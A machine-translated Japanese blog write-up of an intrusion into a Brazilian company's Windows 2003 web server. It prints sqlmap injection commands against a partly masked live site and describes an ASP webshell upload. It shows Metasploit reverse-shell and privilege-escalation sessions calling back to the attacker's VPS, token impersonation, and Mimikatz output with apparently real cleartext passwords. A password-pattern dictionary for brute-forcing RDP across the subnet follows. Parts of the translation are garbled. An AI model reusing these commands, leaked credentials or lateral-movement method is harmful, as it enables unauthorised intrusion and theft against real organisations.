Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86380020

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x01はじめに

日付/時刻:2015年、この侵入テスト中に、取得されたいくつかのマシンの管理者パスワードには特定の規則性があることがわかりました。最後に、パスワードルールを分析し、新しいパスワードを組み合わせることにより、ターゲットのCセグメントマシン許可全体を正常に取得しました。個人的には、これはイントラネットのユニバーサル/通常のパスワードの良い実用的なケースであると感じているので、記録する方が良いと思いました。

0x02 GetShellプロセス

ウェブサイトの基本情報検出:

ターゲットサイト:http://www.that **** elos.com.br

サーバーIP:189。**。**。204(ブラジル)

環境プラットフォーム:ASP.NET

サーバーシステム:Windows Webサイトは国内のIPアクセスを禁止するため、テストを行うために壁にしか行けません。最初に、Chromeブラウザープラグインと指紋認識Webサイトを使用して、サーバーシステムの特定のバージョンを取得しません。ただし、私の個人的な経験に基づいて、これはWindows 2003でなければなりません。

Chromeブラウザプラグイン:サーバーの詳細1.0.12、Wappalyzer

サーバーシステムの識別:http://FUWUQIXITONGSHIBIE.51240.com/?q=

ウェブサイトのバックエンドアドレス:http://www.that **** elos.com.br/admin/safe3wvs_v10.1脆弱性スキャンツールを使用して、いくつかの注入を正常に見つけるためにSQLMapツールを使用して、この注入ポイントが存在し、管理者のテーブルとカラムを実行したときに報告されたときに報告されたときに報告されていることを確認しました。

1049983-20220124163456266-718947529.png

ランニングウォッチ名:

sqlmap -u 'http://ww.that **** elos.com.br/detalhe_produto.asp?codprod=510' - テーブル

[7テーブル]:カテゴリー、クライアント、デッカーク、リテン、ペディド、プロデュトス、ウサリオスランニングコラム名:

sqlmap -u 'http://ww.that **** elos.com.br/detalhe_produto.asp?codprod=510' -t 'usuarios' - columns

[5列]:Codusuario、電子メール、ログイン、ノーム、Senhaの実行データ:

sqlmap -u 'http://ww.that **** elos.com.br/detalhe_produto.asp?codprod=510' - dbmsアクセス-t 'usuarios' -C '電子メール、ログイン、ログイン、ログイン、ログイン、ログイン' - ダンプ-threads 10 1049983-20220124163456703-1812901126.png sqlmap runsのsqlmapがあるときに誤りがあります。管理者のテーブルと列が取得されているため、他のインジェクションツールを使用して、d、ming xiaozi、その他の注入ツールなど、管理者ユーザーパスワードを実行できます。柔軟に使用できます。

1049983-20220124163457129-266496015.png

この注入ポイントを通じて、Webサイト管理者のアカウントとパスワードを正常に取得し、Webサイトの背景にログインしてフィルタリングなしでアップロードを見つけ、ASPピクチャーホースを直接渡し、このサイトのWebシェル許可を正常に取得しました。

1049983-20220124163457547-262982800.png

0x03実用的な電力促進プロセス

サーバーの基本情報検出:

ポートオープン:21、80、135、443、445、873、65432

パッチステータス:750以上のシステムパッチが適用されました(Windows 2003 x86)

スクリプト検出:PHPまたはASPXではなく、ASPスクリプトファイルのみをサポートします

ディスク許可:Cディスク内の一部のフォルダーには読み取り可能/書き込み許可があります。彼らは長い間クロスサイトになることはできません。 750以上のパッチを備えた2003年のマシンに遭遇したのは初めてです。彼らは、EXPを使用してEXPを取得する確率が高くないことを知っていますが、それでも試してみる必要があります。たぶんそれは「成功する」でしょう。次の経験を試した後、最終結果が予想され、失敗しました。

Pr.exe、churrasco.exe、2003.exe、ndproxy.exe、iis6.exe、ms11-046.exe、ms10-048.exe、ms11-080.exe、ms13-051.exe、debug.exe .0104m9504特権エスカレーションモジュール。ターゲットは国内のIPアドレスへのアクセスを禁止するため、ターゲットマシンセッションは攻撃ペイロードファイルを実行した後に取得できないため、著者は外国のVPSでテストします。

root@c2unix:〜#msfpayload Windows/meterpreter/reverse_tcp lhost=37

MSF Exploit(ハンドラー)Payload Windows/MeterPreter/Reverse_TCPを設定します

MSF Exploit(ハンドラー)SET LHOST 37。*。**。52

MSFエクスプロイト(ハンドラー)セットLポート443

MSFエクスプロイト(ハンドラー)エクスプロイト

[*] 37。*。**。52:443でリバースハンドラーを開始しました

[*]ペイロードハンドラーを起動します.

[*]ステージ(770048バイト)を189に送信します。**。**。204

[*] MeterPreterセッション1は、2015-01-01 13:48336001 +0000 1049983-20220124163458461-2115845161.pngの現在のセッションの存在とシステムを拡大しようとしたシステムを拡大しようとした、2015-01-01 13:1048336001 +0000 1049983-20220124163458461-2115845161.pngにオープン(**。**。52:443-189。失敗して、現在のセッションをバックグラウンドに配置し、MS14_058_TRACK_POPUP_MENUのロードを続けて、テスト用の特権モジュールを増やします。

MeterPreter GetUid

Server Username: $ U $ autoridade nt \ servio local-0x415554f524944444445204e545c5345525649c74f204c4f43414c

MeterPreter GetSystem

[ - ] priv_elevate_getsystem:操作失敗:アクセスは拒否されます。

メータープレターsysinfo

コンピューター: Web200

OS : Windows .Netサーバー(ビルド3790、サービスパック2)。

アーキテクチャ: x86

システム言語: PT_BR

MeterPreter : x86/win32

メータープレターの背景

[*]バックグラウンドセッション1 . MSFエクスプロイト(ハンドラー)Exploit/Windows/Local/MS14_058_TRACK_POPUP_MENUを使用します

MSF Exploit(MS14_058_TRACK_POPUP_MENU)PAYLOAD WINDOWS/METERPRETER/REVERSE_TCPを設定します

MSF Exploit(MS14_058_TRACK_POPUP_MENU)SET LHOST 37。*。**。52

MSF Exploit(MS14_058_TRACK_POPUP_MENU)SET LPORT 443

MSF Exploit(MS14_058_TRACK_POPUP_MENU)セッション1を設定します

MSF Exploit(MS14_058_TRACK_POPUP_MENU)Exploit

[*] 37。*。**。52:443でリバースハンドラーを開始しました

[*]エクスプロイトをホストするためのメモ帳を起動します.

[+]プロセス11464が起動しました。

[*]エクスプロイトDLLを11464に反射的に注入します.

[*] 11464にエクスプロイトを注入.

[*]噴射されたエクスプロイト。ペイロードを11464に注入します.

[*]挿入されたペイロード。エクスプロイトの実行.

[+] Exploitが終了し、(できれば特権のある)ペイロードの実行が完了するのを待ちます。

[*]ステージ(770048バイト)を189に送信します。**。**。204

[*] MeterPreterセッション2がオープン(37。*。**。52:443-189。モジュールは新しいMeterPreterセッションを取得しますが、それでも通常のアクセス許可です。この状況は、以前の実際のケースで何度も遭遇しました。特定の理由は不明であり、私はそれを深く研究していません。

MeterPreter GetUid

Server Username: $ U $ autoridade nt \ servio local-0x415554f524944444445204e545c5345525649c74f204c4f43414c

MeterPreter GetSystem

[ - ] priv_elevate_getsystem:操作失敗:アクセスは拒否されます。

MeterPreter Hashdump

[ - ] priv_passwd_get_sam_hashes:操作失敗著者は深い思考に陥りました.そして突然、MeterPreterの下でシークレットの拡張があると思いました。

まず、このサーバーのいくつかの管理者ユーザーを見てみましょう。これは、後で管理者トークンを見つけるのに便利です。デフォルトの管理者に加えて、Cronjobもあることがわかります。

1049983-20220124163459324-1557999675.png

list_tokens -u利用可能なユーザートークンをリストします。ここにリストされている利用可能なユーザートークンが多すぎます。著者は. Snip .部品を省くために使用しました。利用可能なユーザートークンにCronjob管理者トークンがあることがわかります。

利用可能なユーザートークンをリストします:

MeterPreterはIncognitoを使用します

拡張機能のロードインコグニト.成功。

meterpreter list_tokens -u

[ - ] Warning:現在システムとして実行されていない、すべてのトークンが利用可能になるわけではありません

プライマリプロセストークンがシステムである場合、Rev2Selfを呼び出します

委任トークンが利用可能

===============================================================

autoridade nt \ servi?oローカル

web200 \ aewcorp

web200 \ attcorreia

web200 \ cronjob

web200 \ sueddesigner

.切り分け.

なりすましトークンが利用可能です

===============================================================

web200 \ aluggo

web200 \ ciacompropaganda

Web200 \ Datahome

web200 \ ipirangacontabil

web200 \ web200

.スニップ.偽のcronjobユーザートークン:

MeterPreter Imprionate_Token web200 \\ cronjob

[ - ] Warning:現在システムとして実行されていない、すべてのトークンが利用可能になるわけではありません

プライマリプロセストークンがシステムである場合、Rev2Selfを呼び出します

[+]代表団が利用可能

[+]ユーザーWeb200 \ Cronjobに成功しました

MeterPreter GetUid

Server Username: web200 \ estoquedomarmorista

MeterPreter Hashdump

. Snip .1049983-20220124163459832-1326722851.png現在のマシンIPアドレスは:189。**。**。204、リモートポート番号:65432、コンピューター名:web200、ターゲットシステムのクリアテキストパスワード、メータープレターの下でキャプチャされたMimikatzフレンチアーティファクトは次のとおりであり、管理者のハスパスワードはクラックできません(=16ビット)。

0; 980627246 NTLM Web200 Administrador W3B200R0X0271114

0; 3450401626 ntlm web200 cronjob 016b2023ee9b897ca643

0; 1214252650 ntlm web200 web200 p1cadasgalaxi4s

0; 1236893630 ntlm web200 thatycabelos vbs147369

0; 74485534 ntlm web200 iis_user 123abc!#いくつかの一般的な脆弱性を使用して、189のWebシェル許可を取得しました。**。**。**。**。**。**。**。

など:一部のフォルダー権限、CMD.exe実行コマンドのアップロード、サーバーシステムのホスト名、一部のコマンドアクセス許可は不十分で、同じリモートポート番号など。

次の図に示すように、自分でアップロードしたExpを実行できないだけで、0x2331エラーがプロンプトされます。ただし、サーバーが再起動している限り、EXPを正常に実行できるか、アップロードされたExpサフィックスをTXTに変更しようとすることもできます。

1049983-20220124163500206-114772152.jpg

0x04パスワード/ドメイン名ルール

いくつかのマシンで得られた情報と個人的な経験に基づいて、基本的にこのCセグメントのすべてのマシンが同じ管理者であると判断することが可能です。したがって、管理者が使用するパスワードは定期的に見つける必要があります。次に、パスワードのルールを一緒に分析しましょう。

(1)パスワードルール分析

いくつかのマシンで一般的に使用される管理者ユーザーには、Administrador、Cronjobが含まれます。 189。**。**。パスワードルールは、主にホスト名の3桁の数字に関連しており、IPアドレスとは何の関係もありません。

W3B=固定値、200=コンピューター名(3桁)、R0X0271114=固定値WPSテーブル関数を使用してホスト名3桁を抽出し、右(H2,3)を抽出し、新しいパスワードを組み合わせ、最後にB2C2D2を組み合わせ、最後に2つのマシンの管理者パスワードを組み合わせます。 下に。

1049983-20220124163500598-1251726121.jpg

現在、それは制御されたマシンを通してのみ知られることができます。セグメントCで他のマシンのWebShell許可を取得しない場合、どのようにしてホスト名を取得できますか?または、セクションCに他のサーバーを直接入力する方法はありますか?もちろん、ここでは1つのアイデアしか提供されていません。

アイデアを爆破する:

デフォルトのRDPポートは3389で、取得したいくつかのマシンのRDPポートは65432です。このセグメント189のすべてのIPSにあるパスワードに基づいて効率的な辞書を生成できます。

W3B200R0X0271114

W3B201R0X0271114

W3B202R0X0271114

W3B203R0X0271114

W3B204R0X0271114

W3B205R0X0271114

W3B206R0X0271114

W3B207R0X0271114

W3B208R0X0271114

W3B209R0X0271114

W3B210R0X0271114

. Snip .

(2)ドメイン名ルール分析

テストで「hostname.test.net」のようなサブドメインが何度も見られました。いくつかにアクセスした後、私は自分のアイデアを確認しました。管理者は各サーバーでそのようなサブドメインを解決し、命名ルールはhostname.test.netです。

ドメイン名のルールを知った後、ウェブシェルを保存してホスト名を直接取得できます。最後に、パスワードを組み合わせてセクションCに他のマシンを入力できます。 10ユニット以上をテストした後、問題ありません。

1049983-20220124163501009-112638232.jpg 1049983-20220124163501785-1132710182.jpg

画像メタファー:

セクションCのすべてのマシン=パスワードルール +ホスト名+ドメイン名ルール、パスワードルール=父親、hostName=son、ドメイン名ルール=母親、父親、母親はどちらも息子が必要です。一緒に暮らすことは完全な家族と見なされることがあり、どちらも欠落していません。

アイデアの拡張:

ドメイン名のルールに従って効率的な「ホストname.test.net」サブドメイン辞書を生成し、ホスト名を300に制御します。次に、スクリプトを介してこれらのサブドメインをバッチにバッチで、IPアドレスとCセグメントの生存マシンの対応するホスト名を取得し、パスワードルールに従って新しいパスワードを組み合わせます。

web200.test.net

web201.test.net

web202.test.net

web203.test.net

web204.test.net

web205.test.net

web206.test.net

web207.test.net

web208.test.net

web209.test.net

web210.test.net

. snip . WPSテーブル関数を使用して新しいパスワードを組み合わせて、=B2(右(左(E2,6)、3)D2)を組み合わせて、最後に図に示すように、パスワードルールを使用してセグメントCのすべての生き残ったマシンの管理者パスワードを組み合わせることができます。

1049983-20220124163502288-1467670003.jpg

0x05要約

内部/ドメイン環境では、一般的/通常のパスワードに遭遇することがよくあります。一般的に、ホスト名、IPアドレス、年および一般的な文字123/QWE/!@#などをルールとして使用します。また、Webサイトの背景、ミドルウェア、データベース、サードパーティソフトウェアなど、さまざまなパスワードの一般的なポイントとルールを分析し、ブラスト用の効率的な辞書を組み合わせて生成することもできます。 @江天から文を借りる:侵入の本質は情報収集です。

1.ターゲットシステムに関する情報を収集します。ここでは、システムはオンラインCMSフィンガープリントを介してWindows 2003 IIS6.0です。 Webサイト管理者のバックグラウンドディレクトリは、Yujianディレクトリスキャンツールを介してAdmin2であることがわかります。ユーザー名とパスワードスキャンツールが正常に見つかりました。 Safe3WVS_V10.1の脆弱性スキャンツールを使用していくつかの注入が見つかり、SQLMAPツールを使用してこの注入ポイントが存在し、管理者のテーブルと列が使い果たされていることを確認しましたが、ユーザー名とパスワードを使い果たすことはできません。SQLMAP-U